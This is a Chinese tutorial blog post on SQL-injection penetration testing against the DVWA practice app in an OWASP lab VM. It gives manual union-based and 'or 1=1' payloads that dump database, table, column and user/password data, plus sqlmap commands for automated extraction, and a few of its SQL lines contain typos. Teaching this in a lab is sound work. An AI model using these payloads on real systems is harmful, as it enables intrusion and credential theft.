当前位置: 首页 > news >正文

【测试开发】--安全渗透测试

1. 安全渗透

1.1 分类

  • web数据库安全
  • web应用服务器安全(文件上传漏洞、文件包含漏洞)
  • web客户端安全(XSS跨站攻击)

2. sql注入

2.1 sql注入介绍

  • sql注入在安全问题中排行榜首
  • sql注入攻击是输入参数未经过滤,然后直接拼接到sql语句当中解析
  • sql注入是一种将sql代码添加到输入参数中,传递到服务器解析并执行的一种攻击手法

2.2 sql注入原理

  • 攻击者在页面提交恶意字符
  • 服务器未对提交参数进行过滤或者过滤不足
  • 攻击者利用拼接sql语句方式获取数据库敏感信息

2.3 sql注入危害

  • 数据库泄漏
  • 用户数据被非法买卖
  • 危害web应用安全

2.4 sql注入实现方式

  • 手动
    • 查找:注入点
    • 输入:sql常用注入组合语法,进行注入
  • 自动(工具)
    • 工具:扫描注入点
    • 输入:自动尝试各种组合语法

3.环境搭建

3.1 vmware虚拟机

3.1.1 作用

  • 虚拟机软件,可以使用软件在物理机上安装多个虚拟操作系统(Linux、windows)
  • 靶机与渗透剂运行以来VMware软件
    VMware下载教程

3.2 靶机(学习使用项目环境)

作用

  • 一个Linux虚拟机系统,在这个虚拟机中安装了一些已知漏洞的web应用程序,方便学习
  • OWASP靶机安装教程

3.3 渗透机(学习攻击sql注入环境)

作用:

  • Kali包含数百种工具,可用于各种信息安全任务,例如渗透测试,安全研究

4. 手动注入

4.1 环境准备

说明:通过靶机web应用程序,练习手动注入
步骤:

  • 启动靶机OWASP
    在这里插入图片描述

  • 通过浏览器访问靶机

  • 访问OWASP-dvwa项目
    在这里插入图片描述

  • 登陆
    在这里插入图片描述

  • 选择sql注入应用程序
    在这里插入图片描述

4.2 查找注入点

说明:主要采用单引号,转义字符\,以单引号为主
原理:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';

在这里插入图片描述

在这里插入图片描述

4.3 逻辑或

在这里插入图片描述

4.4 猜测列数

  1. 通过union
' union select 1,2 #

在这里插入图片描述
2. 通过逻辑或

'or 1=1#

在这里插入图片描述

4.5 获取数据库、表、列

获取数据库名

' union select 1,database()#

在这里插入图片描述
获取表

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #

在这里插入图片描述

获取列

' union select column_name,1 from information_schema.columns where table_name='users' #

在这里插入图片描述

4.6 获取数据

//1. 获取单个字段数据
' union select user,1 from users#//2. 获取两个字段
' union select user,password from users#

在这里插入图片描述

4.7 concat函数

作用:拼接多个字符串为一个字符串
语法:concat(str1,str2,…)
示例:

  • 获取users表中user_id,user,password,分为两列显示
select user_id,concat (user,password) from dvwa,users;

在这里插入图片描述

  • 解决user和password拼接在一起的问题
select user_id,concat('user:',user,' password:',password) from dvwa.users;

在这里插入图片描述

  • 获取多个字段
' union select user,concat(first_name,' ',last_name,' ',password) from users#

在这里插入图片描述

5. 自动注入

5.1 自动注入介绍

说明:自动注入是指利用工具代替人工去完成sql注入操作
工具:sqlmap

5.2 自动注入环境

  • 启动靶机
  • 启动渗透机

5.3 sqlmap

工具:sqlmap

  • 一个开源渗透测试工具
  • 自动检测和利用sql注入漏洞并接管数据库服务器
    搭建:

5.3.1 sqlmap基本用法

参数

  • -u:扫描的目标url
  • –batch:自动处理提示信息
  • –cookie:附加cookie参数

步骤

  • 扫描注入点
  • 获取数据库名
  • 获取表名
  • 获取字段名
  • 获取数据

由于需要登陆,我们首先获取已登录页面的cookie
在这里插入图片描述
然后开始扫描注入点
在这里插入图片描述
成功注入
在这里插入图片描述

5.3.2 sqlmap获取库名

– current-db:查询当前web使用的数据库名
-D:应用指定数据库
在这里插入图片描述
运行结果:
在这里插入图片描述

5.3.3 sqlmap获取表

– current-db:查询指定库下所有表名(需要先使用-D指定库名)
-T:指定表
在这里插入图片描述

运行结果:
在这里插入图片描述

5.3.4 sqlmap获取列

– columns:查询指定表下所有字段(需要先使用-T指定表名)
-C:指定字段名

在这里插入图片描述
运行结果:
在这里插入图片描述

5.3.5 sqlmap获取数据

–dump:下载数据

在这里插入图片描述
运行结果:
在这里插入图片描述

http://www.lryc.cn/news/397376.html

相关文章:

  • AMEYA360:类比半导体三款车规级新品介绍
  • 内衣洗衣机哪个牌子好用?五大硬核宝藏内衣洗衣机推荐
  • 红酒与未来科技:传统与创新的碰撞
  • php快速入门
  • 【排序 - 归并排序】
  • Appium元素定位(全网详细讲解)(二)
  • 滑动窗口,最长子序列最好的选择 -> O(N)
  • 【Python】已解决:Python安装过程中的报错问题
  • C++ STL IO流介绍
  • 华为浏览器,Chrome的平替,插件无缝连接
  • SpringBoot新手快速入门系列教程:前述
  • C语言9 指针
  • Floyd判圈算法——寻找重复数(C++)
  • 面试题目分享
  • Solana开发之Anchor框架
  • 界面组件Kendo UI for React 2024 Q2亮点 - 生成式AI集成、设计系统增强
  • python输出/sys/class/power_supply/BAT0/电池各项内容
  • HDFS体系架构文件写入/下载流程
  • 大模型之战进入新赛季,开始卷应用
  • MySQL8.4.0 LTS安装教程 【小白轻松上手2024年最新长期支持版本MySQL手把手保姆级Windows超详细图文安装教程】
  • Linux 例题及详解
  • 爆款文案管理系统设计
  • FPGA-Verilog-Vivado-软件使用
  • Ambari Hive 创建函数无权限
  • ARM GEC6818 LCD绘图 实心圆 三角形 五角星 任意区域矩形以及旗帜
  • Sentinel-1 Level 1数据处理的详细算法定义(三)
  • 一款永久免费的内网穿透工具——巴比达
  • 翻译|解开LLMs的神秘面纱:他们怎么能做没有受过训练的事情?
  • 代码随想录-DAY⑦-字符串——leetcode 344 | 541 | 151
  • JavaScript(7)——数组